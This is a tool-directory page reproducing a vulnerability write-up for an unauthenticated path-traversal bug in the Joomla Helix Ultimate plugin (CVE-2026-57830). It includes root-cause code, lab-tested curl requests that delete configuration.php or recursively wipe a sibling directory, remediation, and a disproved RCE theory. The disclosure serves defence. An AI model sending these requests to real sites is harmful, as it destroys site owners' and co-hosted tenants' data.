Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-57830 — Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830 | Kitploit
Tools/GitHubGitHub/is4yev/cve-2026-57830
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCTFPenetration TestingLearning & Education
GitHubis4yev/cve-2026-57830

CVE-2026-57830

Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830

View Repository
311 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Helix Ultimate Framework — Unauthenticated Path-Traversal Arbitrary File/Folder Read+Delete

This is a confirmed DoS + cross-tenant filesystem access vulnerability, NOT RCE. An RCE-escalation theory (delete configuration.php to re-expose the Joomla installer) was tested live and disproved — see "RCE escalation — tested and disproved" below. Do not represent this as RCE in any report without re-deriving a real chain first.

Severity upgrade (2026-07-06, second pass): the path parameter is NOT safely contained to the Joomla webroot as first assessed — Joomla's PATH input filter does not block a single /../ traversal component, so this bug reaches (read: full directory listing; write: delete file or recursively wipe folder contents) anything on the filesystem the web server user can access, not just files inside the Joomla install. On any shared-hosting layout where multiple sites/tenants live as sibling directories under the same OS user (extremely common: cPanel "addon domains", Plesk subscriptions sharing a system user, most budget hosting), a single Helix-Ultimate-powered site lets an anonymous visitor destroy every other site on the same account. See "Path traversal escapes JPATH_ROOT entirely" below for the live proof.

Component: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), bundled with virtually every JoomShaper Joomla template (Helix Ultimate based). 2.2.6 (GitHub , HEAD as of 2026-07, last push 2026-06-30) Amin İsayev / Proxima Cyber Security

Version tested:
JoomShaper/helix-ultimate
Author:

Summary

plugins/system/helixultimate/src/Platform/Media.php exposes deleteMedia(), getFolders() and createFolder() through the Joomla com_ajax dispatch hook in helixultimate.php::onAfterRoute(). These three methods only call Session::checkToken() (a plain CSRF check, satisfied by any anonymous visitor's own session token — harvestable from the site's homepage HTML) — no authorise() / login check at all. This is inconsistent with the sibling method uploadMedia() in the same class, which correctly requires core.edit on com_templates.

Because this is a system plugin, onAfterRoute() fires on every request regardless of which template is currently active — the vulnerable code path is reachable as long as the plugin is installed and enabled (which it is, by default, on any site using a Helix-Ultimate-based JoomShaper template).

Root cause

plugins/system/helixultimate/helixultimate.php (~line 464-489):

root@kitploit:~
if ($this->app->isClient('site'))
{
    $option  = $this->app->input->get('option', '', 'STRING');
    $helix   = $this->app->input->get('helix', '', 'STRING');
    $request = $this->app->input->get('request', '', 'STRING');
    $action  = $this->app->input->get('action', '', 'STRING');

    if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
    {
        switch ($action)
        {
            case 'upload-blog-image': Blog::upload_image(); break;   // has core.create/com_media check
            case 'remove-blog-image': Blog::remove_image(); break;   // has core.delete/com_media check
            case 'view-media':        Media::getFolders();  break;  // NO authorise() check
            case 'delete-media':      Media::deleteMedia(); break;  // NO authorise() check
            case 'upload-media':      Media::uploadMedia(); break;  // has core.edit/com_templates check
        }
    }
}

plugins/system/helixultimate/src/Platform/Media.php:

root@kitploit:~
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← only CSRF, no authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // recursive
}

$path goes through Joomla's PATH input filter (InputFilter::cleanPath()). Two independent things make this dangerous:

  1. No traversal is even needed to reach anything inside the webroot — path is resolved directly under JPATH_ROOT, so any absolute-from-root path (/configuration.php, /administrator/..., /media/...) is already reachable.
  2. Traversal above the webroot also works. cleanPath()'s regex (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) allows exactly one run of dot/hyphen/alnum characters positioned right after the leading [A-Za-z0-9_/-]+ chunk — and a leading / alone satisfies that leading chunk, so a string like /../sibling_dir matches cleanly: / (chunk 1), .. (the permitted dotty run), /sibling_dir (a normal trailing segment). The filter was written to reject a segment that starts a new /… component with a dot, but never anticipated one single .. sitting directly after the string's very first character. Chaining ../../.. does NOT survive (every subsequent /… segment after the first dotty run must start with a non-dot character) — so the escape is capped at exactly one directory level above JPATH_ROOT, but everything below that level (arbitrary depth) is then reachable normally, since further segments are just ordinary non-dot path components.

Impact

  • Unauthenticated deletion of any single file under the Joomla webroot → trivially configuration.php → instant, total site outage ("No configuration" fatal error), one HTTP request, zero authentication.
  • Unauthenticated recursive deletion of any folder (type=folder) → e.g. /administrator, /components, /media → far more destructive, effectively destroys the install.
  • Unauthenticated information disclosure via view-media (Media::getFolders()): lists all image files, all subfolder names, and absolute server paths under any root-relative path, no auth required (used below as the safe detection signal).
  • Escapes the webroot entirely (one level up, then unlimited depth from there) — reaches sibling directories of the Joomla install. On shared hosting where multiple sites share one OS user (cPanel addon domains, Plesk subscriptions, etc.), an anonymous visitor to one Helix-Ultimate site can enumerate and wipe files belonging to every other site under that same account. This turns a single-site bug into a whole-server-account blast radius.
  • No RCE escalation was found — see below.

Live verification (2026-07-06)

Tested against a disposable Docker instance (Joomla 5.4.6 + Helix Ultimate plugin 2.2.6, fresh install, fully anonymous browser session — no login, no cookie other than the one Joomla hands out to every visitor):

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/configuration.php" \
    --data-urlencode "type=file" \
    --data-urlencode "<csrf-token-from-homepage>=1"

{"status":true, ...}

$ curl http://TARGET/
"No configuration file found and no directory was found for installation."

Path traversal escapes JPATH_ROOT entirely — live proof (2026-07-06)

Created a sibling directory to the Joomla webroot (/var/www/canary_sibling, sibling of /var/www/html), owned by the same user as the web server (www-data) to mirror a realistic shared-hosting layout, populated with a file, an image, and a subdirectory:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "<csrf-token>=1"

{"status":true, "path":"/../canary_sibling",
 "images":["/var/www/html/../canary_sibling/proof.png"],
 "folders":["subdir"], ...}

Full read/enumeration of a directory completely outside the Joomla install, including resolved absolute server paths, with zero authentication.

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "type=folder" \
    --data-urlencode "<csrf-token>=1"

Result: every file inside canary_sibling (the plain file, the image, and the subdirectory) was deleted. Only the now-empty top-level canary_sibling folder itself survived, and only because in this lab it sat directly under /var/www, owned by root — removing the empty directory entry requires write permission on its parent, which www-data doesn't have on /var/www. On a real shared-hosting layout (e.g. /home/user/domains/siteA.com/public_html and /home/user/domains/siteB.com/public_html as true siblings, both owned end-to-end by the same account user), that last barrier does not exist and the sibling site's entire directory tree is removable.

RCE escalation — tested and disproved (2026-07-06)

The obvious next theory was: on a site where installation/ was never removed after setup, deleting configuration.php would make the installer wizard reachable again, letting an attacker complete it and create a new Super User. This was tested directly in the lab and does not hold up:

  1. The installation/ folder was copied back into the webroot (simulating a site that forgot to remove it) — configuration.php was still present and valid at this point.
  2. Result: Joomla's own core bootstrap (before any plugin, including the vulnerable one, ever runs) immediately started issuing 302 Found -> /installation/index.php for every single request, including the exploit's own POST to option=com_ajax&helix=ultimate&...&action=delete-media. The vulnerable code path never executes in this state — Joomla core short-circuits everything first.
  3. Consequence: the two states don't chain.
    • If installation/ is present: the site is already completely open to takeover for any visitor, independent of this vulnerability entirely — that's a pre-existing, unrelated Joomla misconfiguration, not something this bug causes or is needed for.
    • If installation/ is absent (the normal, secure state): this vulnerability can only delete files, it cannot create the installation/ folder back — there is no way to re-expose the installer from a delete-only primitive.

Conclusion: no combination of states turns this into RCE. The confirmed, honest impact ceiling is unauthenticated, unconditional, guaranteed full-site DoS (plus the unauthenticated info-disclosure noted above). That is already a Critical-severity finding on its own merits and does not need an inflated RCE claim.

Correction: createFolder() is NOT unauthenticated-reachable (earlier draft was wrong)

An earlier version of this write-up claimed Media::createFolder() was also reachable unauthenticated (as a third primitive alongside delete/read). That was incorrect and has been corrected after a full pass over the plugin's dispatch wiring:

  • createFolder(), and the real file-content-write sinks in the codebase (Request.php: fwrite(), File::write() for template style/webfonts/CSS-cache files), all live in plugins/system/helixultimate/src/Platform/Request.php, dispatched only via Platform::handleRequests() <- onAfterRespond().
  • onAfterRespond() explicitly requires $this->app->isClient('administrator'), and onAfterRoute() separately redirects any non-logged-in visitor away before that point. This path is genuinely admin-authenticated — confirmed by reading the exact gate condition, not just the absence of an authorise() call inside the method itself (unlike the site-side deleteMedia()/getFolders(), which truly have zero gate).
  • The frontend (isClient('site')) switch in onAfterRoute() only wires up five actions: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, which does check core.edit/com_templates). create-folder is not among them.

Confirmed unauthenticated capability set, final: delete (file or recursive folder) + read (folder/image listing) only. No unauthenticated content-write primitive exists anywhere in this plugin. This is precisely why no RCE chain was found even after specifically hunting for one — RCE fundamentally needs a write primitive, and this bug class doesn't have one.

Detection PoC — helix_ultimate_detect.py

Non-destructive. Uses action=view-media (folder/file listing) as the proof signal — never deletes anything.

Exploit / DoS PoC — helix_ultimate_delete_poc.py (name kept for continuity; confirms DoS only)

Destructive. Requires explicit --delete <path> to touch anything. The --rce flag deletes configuration.php and probes /installation/ purely to check whether that folder happens to already be present (in which case the site was independently wide open regardless of this bug) — it does not represent a real escalation caused by this vulnerability; see "RCE escalation — tested and disproved" above. Use only with written authorization.

Remediation

Two independent fixes are needed, either one alone would already stop this:

  1. Add the same authorization check uploadMedia() already has to deleteMedia() and getFolders() in src/Platform/Media.php — at minimum core.edit/core.delete on com_templates (or com_media, matching Blog::remove_image()'s pattern), before doing any filesystem operation.

Amin İsayev / Proxima Cyber Security — 2026. Educational / authorized-testing use only.

Download Tool